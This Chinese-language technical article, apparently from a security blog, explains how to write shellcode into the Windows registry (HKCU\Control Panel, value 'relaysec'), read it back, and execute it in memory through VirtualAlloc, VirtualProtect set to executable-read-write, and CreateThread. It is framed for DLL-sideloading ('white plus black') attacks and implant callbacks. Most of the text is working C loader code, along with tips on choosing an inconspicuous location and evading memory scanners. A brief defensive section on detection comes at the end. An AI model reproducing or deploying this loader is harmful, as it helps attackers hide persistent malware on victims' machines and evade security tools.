白加黑写入Shellcode到注册表上线
字数 1523 2025-08-23 18:31:17
利用注册表存储和执行Shellcode的技术分析
技术概述
本技术通过将Shellcode写入Windows注册表,然后在需要时读取并执行,实现了一种持久化攻击手段。这种方法可以绕过一些传统的内存检测机制,适用于白加黑攻击场景。
核心实现步骤
1. 写入Shellcode到注册表
使用的API函数
-
RegOpenKeyExA
LSTATUS RegOpenKeyExA( [in] HKEY hKey, [in, optional] LPCSTR lpSubKey, [in] DWORD ulOptions, [in] REGSAM samDesired, [out] PHKEY phkResult );- 参数说明:
hKey: 根键句柄,如HKEY_CURRENT_USERlpSubKey: 子键路径ulOptions: 选项,通常为0samDesired: 访问权限,此处需要KEY_SET_VALUEphkResult: 返回的键句柄
- 参数说明:
-
RegSetValueExA
LSTATUS RegSetValueExA( [in] HKEY hKey, [in, optional] LPCSTR lpValueName, DWORD Reserved, [in] DWORD dwType, [in] const BYTE *lpData, [in] DWORD cbData );- 参数说明:
hKey: 注册表键句柄lpValueName: 值名称Reserved: 必须为0dwType: 值类型,此处为REG_BINARYlpData: Shellcode数据指针cbData: Shellcode大小
- 参数说明:
实现代码
#define REGISTRY "Control Panel" // 注册表路径:计算机\HKEY_CURRENT_USER\Control Panel
#define REGSTRING "relaysec" // 注册表值名称
BOOL WirteShellcodeRegister(PBYTE shellcode, DWORD shellcodeSize) {
BOOL bs = TRUE;
LSTATUS sts = NULL;
HKEY keys = NULL;
sts = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &keys);
if(sts == NULL) {
bs = FALSE;
}
sts = RegSetValueExA(keys, REGSTRING, 0, REG_BINARY, shellcode, shellcodeSize);
if(sts == NULL) {
bs = FALSE;
}
_EndOfFunction:
if(keys)
RegCloseKey(keys);
return bs;
}
2. 从注册表读取Shellcode
使用的API函数
-
RegGetValueA
LSTATUS RegGetValueA( [in] HKEY hkey, [in, optional] LPCSTR lpSubKey, [in, optional] LPCSTR lpValue, [in, optional] DWORD dwFlags, [out, optional] LPDWORD pdwType, [out, optional] PVOID pvData, [in, out, optional] LPDWORD pcbData );- 参数说明:
hkey: 注册表键句柄lpSubKey: 子键路径lpValue: 值名称dwFlags: 限制数据类型,此处为RRF_RT_ANYpdwType: 接收数据类型,可设为NULLpvData: 接收数据的缓冲区pcbData: 数据大小
- 参数说明:
-
HeapAlloc
DECLSPEC_ALLOCATOR LPVOID HeapAlloc( [in] HANDLE hHeap, [in] DWORD dwFlags, [in] SIZE_T dwBytes );- 用于分配存储Shellcode的内存
实现代码
BOOL ReadShellcodeRegister(PBYTE *shellcode, SIZE_T *shellcodeSize) {
LSTATUS sts = NULL;
DWORD dread = NULL;
PVOID ps = NULL;
// 第一次调用获取数据大小
sts = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, NULL, &dread);
if(sts != 0L) {
return FALSE;
}
// 分配内存
ps = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dread);
if(ps == NULL) {
return FALSE;
}
// 第二次调用获取实际数据
sts = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, ps, &dread);
if(sts != 0L) {
return FALSE;
}
*shellcode = (PBYTE)ps;
*shellcodeSize = dread;
return TRUE;
}
3. 执行Shellcode
使用的API函数
-
VirtualAlloc
LPVOID VirtualAlloc( [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect );- 分配可执行内存
-
VirtualProtect
BOOL VirtualProtect( [in] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flNewProtect, [out] PDWORD lpflOldProtect );- 修改内存保护属性为可执行
-
CreateThread
HANDLE CreateThread( [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in, optional] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out, optional] LPDWORD lpThreadId );- 创建线程执行Shellcode
实现代码
BOOL executeShellcode(PVOID shellcode, SIZE_T shellcodeSize) {
DWORD dpOld = NULL;
PVOID shellcodeAddress = shellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(shellcodeAddress == NULL) {
return FALSE;
}
// 复制Shellcode到可执行内存
memcpy(shellcodeAddress, shellcode, shellcodeSize);
memset(shellcode, '\0', shellcodeSize);
// 修改内存属性为可执行
if(!VirtualProtect(shellcodeAddress, shellcodeSize, PAGE_EXECUTE_READWRITE, &dpOld)) {
return FALSE;
}
getchar(); // 调试用暂停
// 创建线程执行Shellcode
if(CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcodeAddress, NULL, NULL, NULL) == NULL) {
return FALSE;
}
return TRUE;
}
技术要点分析
-
注册表路径选择:
- 使用
HKEY_CURRENT_USER\Control Panel路径,这是一个常规系统路径,不易引起怀疑 - 值名称设置为
relaysec,可根据需要修改
- 使用
-
Shellcode存储格式:
- 使用
REG_BINARY类型存储原始二进制数据 - 不进行编码或加密,保持原始Shellcode
- 使用
-
两次读取设计:
- 第一次调用
RegGetValueA获取数据大小 - 第二次调用获取实际数据
- 这种设计是Windows API常见模式
- 第一次调用
-
内存执行流程:
- 分配内存(
VirtualAlloc) - 复制Shellcode(
memcpy) - 清除原始Shellcode(
memset) - 修改内存属性(
VirtualProtect) - 创建线程执行(
CreateThread)
- 分配内存(
-
权限要求:
- 写入阶段需要
KEY_SET_VALUE权限 - 读取阶段需要
KEY_QUERY_VALUE权限
- 写入阶段需要
防御建议
-
注册表监控:
- 监控敏感注册表位置的写入操作
- 特别关注
REG_BINARY类型的大数据写入
-
内存保护:
- 检测
PAGE_EXECUTE_READWRITE属性的内存分配 - 监控从非常规位置(如注册表)加载可执行代码的行为
- 检测
-
API调用序列检测:
- 检测
RegSetValueExA后接RegGetValueA的可疑序列 - 检测注册表读取后立即内存执行的模式
- 检测
-
白名单机制:
- 对合法应用程序建立白名单
- 限制非白名单程序修改关键注册表项
总结
这种技术通过将Shellcode存储在注册表中,实现了攻击载荷的持久化和隐蔽化。它结合了注册表操作和内存执行技术,能够绕过一些传统的内存扫描检测。防御方需要从注册表变更、内存操作和API调用序列等多个维度进行检测,才能有效防范此类攻击。